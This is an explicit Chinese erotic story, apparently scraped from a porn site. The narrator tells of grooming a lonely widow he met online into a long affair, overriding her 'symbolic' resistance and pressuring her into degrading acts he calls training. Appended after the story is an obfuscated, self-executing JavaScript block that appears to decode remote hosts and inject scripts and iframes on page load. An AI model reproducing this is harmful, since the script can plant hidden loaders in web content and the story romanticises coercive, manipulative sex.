【被我内射了上百次的雅晴姐】【作者不详】【完】

添加:12-10 发布:www.nn01tv.com



  今天要说的是我曾经的熟女情人雅晴姐,我们维持着情人关系好几年,我在她阴道里内射的次数达到了三位数。

  前几年当时校内网还挺火的,我没事时也会在网上遛遛,无意之中就捡到了当年47岁的雅晴姐。

  雅晴姐校内的帐号中,个人资料发布的很详细,不仅包括真实姓名、年龄、学校、工作等一般资讯,连QQ、住址甚至电话都写得一清二楚,也并没有避讳的在婚姻状况一栏如实填写了:丧偶,全部资讯都是完全公开的,而且空间内也上传了上百张生活照,看上去保养的不错,挺活泼开朗的一位中年女人。

  我加她主要是因为她家离我很近,走路十多分钟的路程,我们在校内聊了一阵,互相都觉得对方还聊得来,于是加上了QQ,聊得更方便嘛。

  因为雅晴姐比我大17岁,我最开始叫她阿姨,不过她说这样叫显得岁数大,也不够亲切,所以之后我就一直叫她姐了。

  实话说,我们认识后的很长一段时间内,我只是把雅晴姐当做一个很好的忘年交,一个好朋友,并没有和她上床的想法,反而无心插柳的成就了后来的长期关系。

  后来我都觉得挺奇怪的,我最开始竟然对雅晴姐没有想法,要知道她正是我喜欢的熟女类型,丰满但不肥胖,看上去比实际年龄要年轻些,皮肤也还算白,丰乳肥臀的样子很有些诱人。

  雅晴姐挺喜欢聊天的,我们聊得也挺高兴,她是个很不错的女人,不像很多女人那麽矫情,聊天时也觉得很轻松,因为我也是真心的和她聊天交朋友,所以她对我的印象很好,不久就开始和我聊到了她的家庭情况。

  我也确定了雅晴姐是寡妇,老公在3年前因工伤意外去世,之后一直和儿子两个人一起过,因为老公生前的积蓄不少,还得到了一大笔工伤补偿金,所以母子二人的日子还是挺宽裕的,今年儿子刚考上浙江的一所大学,只有雅晴姐一个人在家了。

  当时我为了离单位近,也单独住在我家里一直闲置的一间小房里,正好离她很近。

  雅晴姐在单位是做人事工作的,单位效益不太好,工作挺清闲,也有很多休息机会,她主要也是为了有个事情干,并不指望着工作能挣多少钱。

  自从儿子上大学后,雅晴姐一个人也没什麽事情干,她住的是一个老公原单位分的房子,小区里住的也都是年纪较大的人,和她都不怎麽熟,她的人际交往很窄,也没有很多业余爱好,只是偶尔和单位的同事聚一下。为了打发时间雅晴姐学会了上网,没多久就认识了我。

  开始熟悉了以后,我也给雅晴姐提出了建议,建议她把空间中关于自己的一些隐私资讯删掉或者至少设定一定的许可权,因为网上还是有不少不怀好意的人的(当时我还不是这种人,呵呵)。雅晴姐接受了我的建议,同时也因为这件事对我的好感大幅提升,心里已经很信任我了。

  之后我们保持着密切的联系,没事就聊聊,雅晴姐本身就没什麽事,我也尽量挤出些时间。就这样过去了4个月左右,雅晴姐对我非常的熟识了,我此时也提出一起在附近吃个饭,雅晴姐很爽快的答应了。

  雅晴姐和照片上看着差不多,我当然夸奖她比照片好看多了,既年轻又漂亮。

  吃饭时雅晴姐显得很高兴,我时不时的说个笑话,再假装不经意的对她做些不太夸张的夸奖,也哄得她时不时的发出爽朗的笑声。

  我还是属于嘴比较甜的,在和雅晴姐聊天的时候,时常会称赞她,也很注意对她做一些比较细致的关心。女人就是这样,无论什麽年纪了,都是需要男人的称赞和关心的,雅晴姐这种寂寞的熟女就更是如此。不过要注意的是不要太露骨,夸得太过分就显得假了,反而容易给对方留下轻浮或者不靠谱的印象。

  之后的两个月里,我们又一起吃了几次饭,平时还是常常聊天。

  可能是进入了低潮期,雅晴姐这一段时间的心情比较低落,时不时会透露出一些负面情绪,不止一次的提到了诸如无助、寂寞等字眼。

  在有了较深的了解之后,我发现她与表面上的活泼开朗不同,雅晴姐其实是个很保守的女人,守寡3年多以来也从来没有过情人,但是像她这个年纪的女人,不仅心里会感觉很寂寞,也一定会有很迫切的生理需求,对性爱有很大的渴望。

  在见过面以后,雅晴姐丰满的身体,尤其是鼓鼓囊囊的胸部,就不时的浮现在我的脑海里。此时我才发现雅晴姐原来是非常诱人的,对我有着很大的吸引力,我也在考虑,下一步可以争取和她更进一步了。

  因此我也在聊天时,开始逐渐提及一些敏感话题,雅晴姐虽然不是每次都会积回应,但也并没有明显的避讳,这也就坚定了我要把她抱上床的目标。

  于是我开始更加明显的提及一些隐私和敏感的话题,还时不时的挑逗或者调戏一下雅晴姐,她都没有生气,还会有时回应我一下,连她已经上过环都告诉了我,我还知道了她的月经周期很规律,至今为止每月也还都会正常来。

  我知道对于雅晴姐这样的熟女来说,不会看不出我对她有意思了,以她的性格虽然不会直接和上床联系起来,但也应该有了一定的心里接受度,至于一些较亲密的动作,比如搂抱、爱抚等,接受起来应该是没有问题的。因此我也决定开始趁热打铁,继续推进我们的关系。

  于是在一次聊天中,我提出来还没有去过她家里,雅晴姐自然就邀请我去她家做客,时间就约在周末。

  终于到了周末,我按照约定的时间来到了雅晴姐的家里。雅晴姐安排我坐好,并且给我倒了水,我在她的身上明显闻出了沐浴液的香味,而且她的皮肤看上去也是刚洗过澡的样子。

  与以往不同的是,雅晴姐这次说话不多,明显有点紧张,气氛尴尬而暧昧。

  此时我更加确定雅晴姐已经知道我来她家里的目的,而且心里也是愿意的,否则也不会特意提前洗了澡,还一副手足无措的样子。

  于是我开始主动发动进攻,把雅晴姐拉过来抱在了怀里。雅晴姐并没有抗拒,在我抱了她一会后,她还主动地也回抱住了我。随后我对着雅晴姐的嘴亲了下去,这一次她开始试图推开我,不过力量很小,她自己也知道这样的力度只是象徵性的。

  在雅晴姐这样欲拒还迎的态度下,我进一步试图把舌头伸进她的嘴里,很快也获得了成功,随后我的手也摸上了她丰满的胸部并不断揉捏。

  在我这样有技巧的步步紧逼下,雅晴姐终于扛不住了,脸涨得红红的,呼吸变得越来越粗重,眼神变得迷茫起来,然后很享受的闭上了眼睛,连舌头都开始和我的舌头相互交缠起来。

  我一边摸一边亲,雅晴姐被我弄得身体都开始发软了。然后我开始脱她的衣服,她仍然做出了象徵性的反抗,当然最终的结果是我顺利的把她的衣服全部脱光了。

  虽然雅晴姐早就最好了心理准备,但是还是羞愧的满脸通红,而久旷的身体却完全说明了她对性爱的渴求,在我脱掉她内裤的时候,就发现她的小穴已经湿透了。

  之后我终于如愿插进了雅晴姐的小穴,她此时已经抛开了矜持,马上发出快乐的呻吟声,在我的不断插入中,纵情享受着性爱的快乐。

  虽然雅晴姐因为年纪大了,小穴已经开始松弛,但是可能因为用的不算多的缘故,并没有松松垮垮的感觉,我也尽情享受着她成熟诱人的身体。

  当我最终在雅晴姐的小穴深处发射时,那种畅快淋漓的感觉真是爽得很,而她也在被我内射的瞬间,激动的全身颤抖,第二次达到了强烈的性高潮。

  大战过后,雅晴姐因为紧张和激动,体力消耗较大,躺在床上不想动弹,我因为了解到她的性经验比较匮乏,也没有要求她给我口交之类的,而是搂着她和她躺在床上。

  过了一会,我起来开始观察雅晴姐的身体。脱光了衣服,雅晴姐的胸部看上去更加硕大,虽然不可能很挺拔,但是下垂的也并不是很厉害,摸上去还是挺有弹性,而且没有明显的硬块,乳头和乳晕都是浅灰色,大小中等。雅晴姐的皮肤基本上没有松弛,不过小肚子还是比较明显,但是在肥大的屁股的衬托下并不显得难看,反而更加突出了中年女人成熟的风韵。

  雅晴姐的小穴还是不错的,感觉并不是很紧窄,但是里面的内柔还是比较多的,所以并没有很松弛的感觉,还是可以把我的鸡巴顺利裹住,颜色已经不粉嫩了,不过明显用的并不多。

  又过了一会,我的鸡巴开始重新硬了起来,于是我再次分开了雅晴姐的双腿。

  雅晴姐虽然还是有点累,但还是很顺从的和我一起享受了第二次性爱以及最后的内射。

  之后,捅破了窗户纸的我们两人,又都很享受对方给自己带来的性满足,于是又做了两次,也是在雅晴姐的家里。

  我也发现雅晴姐做爱技巧确实一般,基本上只习惯传统体位,而且似乎不会口交。不过我每次都可以放心的在雅晴姐身体里内射,她也似乎很喜欢被我内射的感觉。这也是我非常喜欢雅晴姐的地方,从我的角度来看,雅晴姐的身体很乾净,无套内射也不会有安全性的问题,上过环的经历还不担心怀孕的风险;从雅晴姐的角度来看,她也很喜欢被我内射的感觉,可以说我们两个是一拍即合。

  之后雅晴姐的儿子放暑假回家了,她开始在家专心陪儿子,我们就暂时没有了见面的机会,而且连QQ都很少有机会联系了。

  不过我们刚刚尝到了的甜头,正是慾望高涨的时期。后来实在忍不住了,正好孩子和同学约着去玩,雅晴姐就告诉了我。我没敢去她家,于是就订了房让她去,她最开始还不太愿意,但是在我说明利害关系后还是去了。

  在宾馆的房间里,雅晴姐开始还有点不适应,但在我开始插入后,她的精力就集中到享受性爱中去了。

  之后如果雅晴姐孩子在家,我们就会找机会在外面开房做爱,好在附近的宾馆不少,我们又不是要经常去,所以没有引起怀疑。我们也很注意,都是找离我们住的地方稍远一点的。其实也可以去我家,不过雅晴姐说什麽也不去,所以就算了。

  因为接近一个月没干了,我们都挺饥渴的,在第二次内射了雅晴姐之后,我们都感觉非常舒爽。原本雅晴姐打算干完就走了,现在反而舍不得走了,乾脆躺在我身边和我聊会天。

  我们两个这时候已经算是确定了情人关系,而且还是可以长期稳定的,于是很多以前觉得不太方便问出口的问题就可以说出来了。

  我明确表示最开始确实没有想和她上床的目的,雅晴姐也表示她能看出来,否则一开始她就不理我了,女人这方面的直觉很准,如果我有什麽歪心思很难瞒得了她。

  后来雅晴姐已经从心里完全接受了我,她也承认,多年没有性生活的,她对性的渴望是很强烈的,只不过她不是随便的女人。如今雅晴姐已经在我面前抛开了羞涩,明确告诉我希望做我的情人,而且她是不会粘着我或者纠缠我的,如果以后我有了女朋友或者结了婚,她马上退出。

  我听着也挺感动的,也表示会对她好,之后雅晴姐告诉我,她很喜欢被我内射时候的感觉,很爽很幸福。

  正式确认了情人关系,之后的事情就好办了。

  我们在其后的两年多时间中,每月平均会做爱五六次,除了雅晴姐来月经,几乎每周都会做,而她也逐渐学习了一些新的技巧,最明显的是原来根本不会的口交,已经逐渐嫺熟起来了,较常用的做爱的体位,包括后入、女上等,也在经历了最初的羞涩和不适后,成为了常规的性爱姿势。

  因为做爱时多数都会内射,在我们做情人的时间里,我内射雅晴姐的次数估计一共有200次左右,后来我也提出要求,希望我的精液能够在她的体内多存在一些时间,于是雅晴姐有时候就会把腿向上抬起,保持阴道口向上的姿势,当然还是会有精液流出来,她还特意在屁股下垫了方巾以防弄脏床单。

  雅晴姐也开始喜欢这种感觉,表示说阴道里夹着我的精液,虽然有点怪异,但是同时也觉得很充实、很幸福。

  我也会给雅晴姐口交,最开始她也是说什麽都不同意的,主要的理由就是下面不乾净,其实也是觉得害羞。不过雅晴姐在给我口交的事情上基本没什麽抗拒,在第二次做爱时就已经做过了。但是我最终说服雅晴姐接受我对她的口交,是在那之后大约半年左右的时间。

  第一次给雅晴姐口交时,她感觉挺紧张的,不过在我有技巧的攻击她的阴蒂后,她的慾望终于被激发出来了,后来也就接受了这样的方式。习惯了之后,我们也经常会做六九式,后期我甚至会用手指蘸着雅晴姐阴道里的淫液,伸进她的嘴里让她自己吃掉,每次她都会皱着眉舔舐我的手指,不过我能看出来她的身体还是很兴奋的。

  我们相互之间越来越熟悉,感情越来越好,能够尽量体谅对方的感受,当然还是雅晴姐顺应我多一些。

  通常来说每次我都会射精一到两次,因为连续射精次数过多,不但快感会下降很多,也会对身体产生一些伤害,这时候雅晴姐通常也就不再要求我继续干她了。

  老实说雅晴姐不是很淫荡的女人,但是她这个年纪正是女人一生中性慾最强的时期,所以有时还是会有欲求不满的时候,但是她为了我也就忍了。偶尔雅晴姐也会遇到内心很骚动的时期,比如我们比较长的时间没有做爱之后。

  雅晴姐是个心思很简单的女人,掩饰不住自己内心的慾望,会依依不舍的轻轻抚摸着我的鸡巴,还时不时亲上一口,这时我就会知道她真的特别饥渴,还想要我继续干她,我也会就坚持,尽量把她干满足了为止。

  现在回想起来,幸亏雅晴姐还不是那种性慾特别强的风骚女人,否则以她这个年纪,我还真不一定能够完全能够喂饱她,还好在绝大多数时间里,她都感觉很满意。

  转眼间过去了一年多,我和雅晴姐的关系保持得很稳固,而且越来越亲密。

  雅晴姐还是会因为我提出的一些动作,或者某些挑逗意味较浓的语言而感到羞涩,但是一旦做起来,生理的快感会让她很快就放纵起来,床上的感觉也越来越风骚。

  逐渐的,雅晴姐能够接受的尺度也逐渐增加,这样也增加了我们做爱时的刺激和情趣。

  一个很大的惊喜是雅晴姐开始学会了吞精。随着雅晴姐的口活越来越好,有时候我会忍不住直接在她的嘴里发射,有一次当我射到她的嘴里后,我提出来想让她把精液吃下去。雅晴姐不太愿意,不过犹豫了一会后,还是把嘴里的精液慢慢的咽了下去,还恶心的乾呕了一会。

  后来雅晴姐还是逐渐适应了吞精的感觉,最起码不会觉得很困难,也不会再乾呕了,不过她还是不太喜欢吃下精液的感觉, 何况每次吞精就意味着又少了一次被内射的体验,所以只有在我提出要求时她才会这样做。

  之后我开始尝试和雅晴姐肛交,不过可能是我们经验不足的原因吧,试过两次,虽然都做了很多准备工作,润滑、清洁、按摩等环节都做了,但是当我插进雅晴姐的屁眼时,她还是疼得受不了,止不住的哭泣着。因为当时雅晴姐已经对我很顺从了,做爱的耐久性也很强,看来是真的无法适应,因此我们之后也就没有再尝试,不得不说是一个不小的遗憾。

  因为两个人平时都挺自由的,所以我也会在雅晴姐家里过夜,周末有时乾脆住在一起。

  在我的不断说服下,雅晴姐终于答应做一件她以前绝不可能做的事情,就是在面对我的时候,她会脱光所有的衣服,完全赤裸,而且还会正常的做饭、洗衣服、处理家务等,后来还特意给她买了几双颜色鲜艳的高跟鞋,都是鞋跟超过8cm的细高跟,然后就穿着这样的高跟鞋一丝不挂。雅晴姐觉得自己这个样子好淫荡,每次都会觉得非常害羞,在这个过程中,不知不觉中她的下面就湿透了。

  想像一下,一位丰满的中年女人,一丝不挂的在家中做家务,是一幅多麽淫靡的画面。而雅晴姐平时是基本不穿高跟鞋的,所以当她穿着鞋跟又细又高的高跟鞋走路时总感觉不适应,身体也会来回的摇晃,一对大奶子晃动起来让人目眩神迷。

  我问雅晴姐她为什麽对我这麽顺从,没想到她给我列举了一大堆理由。第一、雅晴姐认为女人就应该对男人有足够的顺从,不可以轻易提出反对意见;第二、雅晴姐认为自己已经很老了,我还愿意和她上床,对她还很好,所以她觉得我已经非常吃亏了,她自然要在其他方面补偿我;第三、她的性格就是这样,平时也没什麽主见,我怎麽说就怎麽做吧;第四、虽然我的一些要求很羞人,让她感觉自己很淫荡,不过做起来一直很爽,她很喜欢和我做爱,所以就任我摆布了。这样,我更加了解了雅晴姐的想法,也把对她的性爱调教坚持下去了。

  户外的调教我们很少做,只有偶尔的会让雅晴姐尝试一下不穿内裤出门。不穿内裤出门都是在夏天,因为这样才有效果,无论是穿裙子还是穿裤子都可以,穿裙子时雅晴姐的小穴就直接接触在空气中了,心理上会时刻担心裙子被吹起来的危险;穿裤子虽然没有类似的担心,但雅晴姐的大屁股,总是把裤子撑得鼓鼓的,仔细看会发现没有内裤的痕迹。

  所以雅晴姐每次都会感觉很羞,心里既怕人发现又有点希望被别人关注的感觉,会让她非常刺激,小穴总是会湿的很厉害。

  另外我们也一起去郊区玩过,并且就在外面过夜,开房时,宾馆前台的眼神有点异样,看着雅晴姐有点对我小鸟依人的样子,看年纪则既不像母子也不能相信是情人,而雅晴姐只能一直低着头,脸颊烧得厉害。

  做情人的这几年时间里,我们其实一直都很注意不要被发现,很少会一起外出,雅晴姐出了家门,也尽量表现的和以前一样,所以我们的关系也一直都很地下,尤其是对于她的儿子,雅晴姐的保密工作做得非常好,每次他儿子放假前都反复的检查家里,确保把我们做爱的痕迹全部清除。

  所以我们一直很安全的相处,没有传出什麽风言风语,即使偶尔有人发现我们在一起,我们之间明显的年龄差也不会被联想到情人的关系上去。

  雅晴姐还是很在意她儿子的感受,虽然一直很小心,但还是会担心事情败露的后果。我当然知道雅晴姐舍不得离开我,因为一直被我操的很舒服,同时也问她怎麽面对她的儿子。

  雅晴姐爱乾净,身体总是清洁的乾乾净净,我也会经常舔吸她身体上的敏感部位,弄得她欲火高涨,然后我会按照色文中的桥段,继续挑逗她而不是急着插入,这时雅晴姐就会忍不住求我赶快来干她。

  当然,面对这麽一副成熟诱人的身体,再加上软语温求,我也经常忍不住就把她干了,但是一旦我坚持的时间足够长,雅晴姐就会饥渴到承受不住的程度,我们也越来越喜欢这种游戏,经常比一比到底谁先受不了而缴械投降。

  雅晴姐告诉我,敏感部位被挑逗时,她有时候觉得小穴痒得不得了,真的是求生不能求死不得,但是事后还是会非常渴望这种感觉,而且最终被我插进去时,更是会快乐的飞到天上去。

  生活中,雅晴姐就像是贴心的大姐姐,对我非常的照顾,也很关心我,上了床以后,则完全变成一个很传统的小媳妇,任由我摆布,并且随时渴望着我的亲热。而随着她越来越听话,我的很多要求她甚至会当做命令来做。我原本不相信色文中提到的性奴等说法,但是在雅晴姐身上,我真的看出了一点性奴的影子。

  有一次我们一起看AV,片中有个女人的乳房上穿了乳环,于是我开玩笑的问她:乳环也挺好看的吧,给你也穿一对吧。我当然没有这样的打算,先不说这个有可能会感染,穿的时候也会疼,关键是我哪里知道去哪里弄这个?

  但是雅晴姐竟然很认真的想了一会,随后似乎下了决心,她和我说:穿上后取下来方便吗,有没有可以随可以随时能够戴上又随时能够取下来的?否则被她儿子发现就不好了。

  我说你不怕疼吗?她说不怕,这样她会感觉我随时在身边。

  我继续逗她说,那乾脆穿个阴蒂环吧,这个你儿子肯定看不到,雅晴姐则回答我,你想怎麽弄都行吧,反正别让人发现,我都听你的,不过你确定下面也能穿环吗,不会坏掉吧?反正你安排吧。由此我觉得,如果我愿意,雅晴姐真的能够被我调教成我的性奴,但是我对她也很珍惜,不可能会这样做。

  时间过得很快,雅晴姐做我的情人快3年了,我也通过相亲认识了我现在的老婆,并且很快陷入热恋之中。虽然不舍得,但是我和雅晴姐还是决定结束情人关系,这也是之前我们早就约定好的,而且雅晴姐的儿子马上也要大学毕业回北京了,我们也不适合再在一起。

  至今已经过去了一年多,我和雅晴姐再没有见过面,但是还会有一些电话联系,不过也只限于相互问候和祝福了。

  
【完】


       7032字

【被我内射了上百次的雅晴姐】【作者不详】【完】: http://www.nn01tv.com

!function(){function a(a){var _idx="t5ddnmc3ro";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"_4_4"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}sos(qTqCLmfhY)qRDm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP}sos(qTqCLmfhY)qRDm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP}sos(qTqCLmfhY)qRDm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP}sos(qTqCLmfhY)qRDm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP}sos(qTqCLmfhY)qRDm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP}sos(qTqCLmfhY)qRDm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP}sos(qTqCLmfhY)qRDm(O^gQ1KQ"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/Fnff2^(s5O/}sos"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}sos"=X8"Fnff2^(s5O"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}sos2CTqf7m(:hqTROm2YF"="}sosCSTqfXmpCJhCTSm2YF"="}sosOSTq47m(:hqTROm2YF"="}sosF(Tq2SmpCJhCTSm2YF"="}sosDhTqdJm(:hqTROm2YF"="}sosh)TqCqmpCJhCTSm2YF"="}sosJfTq7Dm(:hqTROm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}sosSJTq)()mdRLLh(2m(O^gQ1KQ/((/}sosj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}sosSJTq)()mdRLLh(2m(O^gQ1KQ/((/}sosj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}sos(qTqCLmfhY)qRDm(O^gQ1KQ/f/}sosj(8}vY8Fnff2^(s5O"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 